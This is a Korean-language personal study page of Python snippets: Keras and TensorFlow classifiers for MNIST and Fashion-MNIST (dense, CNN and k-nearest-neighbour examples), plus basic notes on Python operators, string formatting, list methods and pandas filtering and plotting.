행복이 아부지

import tensorflow.keras as keras
import tensorflow as tf

import numpy as np
import matplotlib.pyplot as plt

# Load the fashion-mnist pre-shuffled train data and test data
(x_train, y_train), (x_test, y_test) = keras.datasets.fashion_mnist.load_data()

print("x_train shape:", x_train.shape, "y_train shape:", y_train.shape)

# Print training set shape - note there are 60,000 training data of image size of 28x28, 60,000 train labels)
print("x_train shape:", x_train.shape, "y_train shape:", y_train.shape)

# Print the number of training and test datasets
print(x_train.shape[0], 'train set')
print(x_test.shape[0], 'test set')

# Define the text labels
fashion_mnist_labels = ["T-shirt/top",  # index 0
                        "Trouser",      # index 1
                        "Pullover",     # index 2 
                        "Dress",        # index 3 
                        "Coat",         # index 4
                        "Sandal",       # index 5
                        "Shirt",        # index 6 
                        "Sneaker",      # index 7 
                        "Bag",          # index 8 
                        "Ankle boot"]   # index 9

# Image index, you can pick any number between 0 and 59,999
img_index = np.random.randint(0, 59999)
# y_train contains the lables, ranging from 0 to 9
label_index = y_train[img_index]
# Print the label, for example 2 Pullover
print ("y = " + str(label_index) + " " +(fashion_mnist_labels[label_index]))
# # Show one of the images from the training dataset
plt.imshow(x_train[img_index])

from tensorflow.keras.layers import Input, Flatten, Dense
from tensorflow.keras.models import Model

from tensorflow.keras.losses import sparse_categorical_crossentropy
from tensorflow.keras.optimizers import Adam

keras.backend.clear_session()

# x_train = x_train.reshape(-1, 28 * 28 * 1).astype("float32") / 255.0
# x_test  = x_test.reshape(-1, 28 * 28 * 1).astype("float32") / 255.0
# y_train = tf.one_hot(y_train, 10)
# y_test  = tf.one_hot(y_test , 10)
# print(x_train.shape, y_train.shape, x_test.shape, y_test.shape)

il = Input(shape=(28,28), name="input_layer")
fl = Flatten(name='Flatten_layer')(il)
hl = Dense(512, activation="relu",name="H1")(fl)
hl = Dense(512, activation="relu",name="H2")(hl)
hl = Dense(512, activation="relu",name="H3")(hl)
hl = Dense(512, activation="relu",name="H4")(hl)
hl = Dense(512, activation="relu",name="H5")(hl)
hl = Dense(512, activation="relu",name="H6")(hl)
ol = Dense(10 , activation="softmax" ,name="output_layer")(hl)

model = Model(inputs=il, outputs=ol )
model.compile(loss='sparse_categorical_crossentropy', optimizer=Adam(lr=0.001), metrics=['accuracy'])
model.summary()
model.fit(x_train, y_train, epochs=5, batch_size=128, verbose=1)
score = model.evaluate(x_test, y_test)

# Print test accuracy
print('\n', 'Test accuracy:', score[1])
y_hat = model.predict(x_test)

import numpy as np
from keras.datasets import mnist
from keras.utils    import np_utils
from keras.models   import Sequential
from keras.layers   import Dense, Conv2D, pooling, Flatten

(tri, trl), (tei, tel) = mnist.load_data()
print(tri.shape, trl.shape, tei.shape, tel.shape)
tri = tri.reshape(tri.shape[0],28,28,1).astype(np.float32) / 255.0
tei = tei.reshape(tei.shape[0],28,28,1).astype(np.float32) / 255.0
trl = np_utils.to_categorical(trl)
tel = np_utils.to_categorical(tel)
# trl = tf.one_hot(trl, 10)
print(tri.shape, trl.shape, tei.shape, tel.shape)

model = Sequential()
model.add(Conv2D(32, (3,3), strides=(1,1), padding="same", activation="relu", input_shape=(28,28,1)))
model.add(Conv2D(32, (3,3), strides=(1,1), padding="same", activation="relu"))
model.add(pooling.MaxPooling2D(pool_size=(2,2)))
model.add(Conv2D(64, (3,3), strides=(1,1), padding="same", activation="relu"))
model.add(Conv2D(64, (3,3), strides=(1,1), padding="same", activation="relu"))
model.add(pooling.MaxPooling2D(pool_size=(2,2)))
model.add(Flatten())
model.add(Dense(10, activation="softmax"))

model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=['accuracy'])

model.fit(tri, trl, epochs=5, batch_size=32 , verbose=1)

_, a = model.evaluate(tei, tel)

print("acc : " , a)

model.summary()

import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import tensorflow as tf

from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets("MNIST_data", one_hot=True)

n_train_img = 5000
n_test_img = 200

pixel_train, onehot_train = mnist.train.next_batch(n_train_img)
print(pixel_train.shape, onehot_train.shape)
pixel_test, onehot_test   = mnist.test.next_batch(n_test_img)
print(pixel_test.shape, onehot_test.shape)

TRAIN = tf.placeholder("float", (None,784))
TEST  = tf.placeholder("float", (784))

#d = tf.reduce_sum(tf.abs(tf.add(TRAIN, tf.negative(TEST))), reduction_indices=1)
d = tf.sqrt(tf.reduce_sum(tf.square(tf.subtract(TRAIN, TEST)), reduction_indices=1))
print (d)

val, idx = tf.nn.top_k(-d, k=20, sorted=False)
print (val, idx)
acc = 0.0
tot = 0.0

with tf.Session() as sess:
  sess.run(tf.global_variables_initializer())
  for i in range(n_test_img):
    knn_idx = sess.run(idx, feed_dict={TRAIN: pixel_train, TEST: pixel_test[i,:]})
    
    look_up = np.zeros(10)
    for j in np.argmax(onehot_train[knn_idx], axis=1):
      look_up[j] += 1
    pred = np.argmax(look_up)

    if (pred == np.argmax(onehot_test[i])):
      acc += 1
    tot += 1
    print("Test : " , i , " , Pred : " , pred , " , Real : ", np.argmax(onehot_test[i]), " , acc : " , acc/tot)

    
    

a = np.array(list(pixel_test[197,:]))  # 0,6
a = a.reshape(28,28)
plt.imshow(a, cmap=plt.get_cmap('gray'))
a = np.array(list(pixel_test[169,:]))    # 5,8
a = a.reshape(28,28)
plt.imshow(a, cmap=plt.get_cmap('gray'))
a = np.array(list(pixel_test[162,:]))    # Pred :  9  , Real :  4 
a = a.reshape(28,28)
plt.imshow(a, cmap=plt.get_cmap('gray'))
a = np.array(list(pixel_test[161,:]))    # Pred :  0  , Real :  8 
a = a.reshape(28,28)
plt.imshow(a, cmap=plt.get_cmap('gray'))

import

from keras.utils    import np_utils
from keras.datasets import mnist
from keras.models   import Sequential
from keras.layers   import Dense

mnist 데이터 변형하기

tri = tri.reshape(tri.shape[0],784).astype("float32")/255.0
tei = tei.reshape(tei.shape[0],784).astype("float32")/255.0
trl = np_utils.to_categorical(trl, num_classes=10, dtype='float32')
tel = np_utils.to_categorical(tel, num_classes=10, dtype='float32')
print(tri.shape,trl.shape,tei.shape,tel.shape)

model

model = Sequential()
model.add(Dense(256, activation="relu"))
model.add(Dense(512, activation="relu"))
model.add(Dense(10, activation="softmax"))
model.compile(loss="categorical_crossentropy", optimizer="sgd", metrics=['accuracy'])
model.fit(tri, trl, epochs=5, batch_size=128, verbose=1)

c, a = model.evaluate(tei, tel)
print("acc : " , a, " , c : " , c)

tutorials 로 가져오기

from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets("mnist_data", one_hot=True)

img_train, lbl_train = mnist.train.next_batch(batch_size)
img_test , lbl_test  = mnist.test.next_batch(mnist.test.num_examples)

keras로 가져오기

from keras.datasets import mnist

(train_img, train_lbl), (test_img, test_lbl) = mnist.load_data()
print (train_img.shape, train_lbl.shape,test_img.shape, test_lbl.shape)
train_img = train_img.reshape(-1,28,28,1).astype(np.float32)
test_img  = test_img.reshape(-1,28,28,1).astype(np.float32)
train_lbl = np_utils.to_categorical(train_lbl)
test_lbl  = np_utils.to_categorical(test_lbl)

pandas로 가져오기

data = pd.read_csv('https://raw.githubusercontent.com/DA4BAM/dataset/master/diamonds.csv'
                 , sep=',', skipinitialspace=True)  


df = pd.read_csv('data-diabetes.csv', delimiter=',',index_col=False)
df.head()
x_data = df.iloc[:,0:-1]
y_data = df.iloc[:,-1]
print (x_data.shape, y_data.shape)

기본 연산자

a / b  => 나누기
a // b  => 나눈 몫
a % b =>  나눈 나머지
a ** b => a의 b제곱  ex) 2 ** 3 => 2*2*2

문자열 print format

hello = 'hello' 
world = 'world'

# {} 안에 위치 값 지정 --> 지정한 위치의 변수가 대입 됨
print('{0} {1} {2}'.format(hello, world, 12)) 
print('{2} {0} {1}'.format(hello, world, 12))

문자열 공백 제거 (trim())

strip(x) 메소드: x 문자 주변의 공백을 제거합니다.

# 문자열 분리 
s = '    I have a Dream! '
s = s.strip()
print(s)

list 관련 함수들

1) count(), index() 메소드: 요소 갯수와 위치 조회
2) append() 메소드: 요소 하나 추가
3) reverse(), sort() 메소드: 요소 순서 변경
4) insert() 메소드: 지정한 위치에 요소 추가
5) remove(), pop(), clear() 메소드: 요소 삭제
6) extend() 메소드: 리스트 연결

Pandas 

data.dtypes

carat      float64
cut         object
color       object
clarity     object
depth      float64
table      float64
price        int64
x          float64
y          float64
z          float64
dtype: object

#조건 추출시에는 소괄호 넣기
data[ (data.color == 'E') & (data['price'] > 5000)]

# 조건에 맞는 여러 열 조회
graduate.loc[graduate['gpa'] > 3.0, ['admit', 'gpa', 'gre']].head()

# 특정 컬럼값중 가장큰값을 가지는 행 출력
data[ data.price == data.price.max() ]

# cut별 평균 carat을 조회하시오
data.groupby(by=['cut'], as_index=False)[['carat']].mean().rename(columns={'carat':'avgCarat'})

plot 그리기

# 산점도 그리기

data.plot('carat', 'price', kind = 'scatter')
plt.show()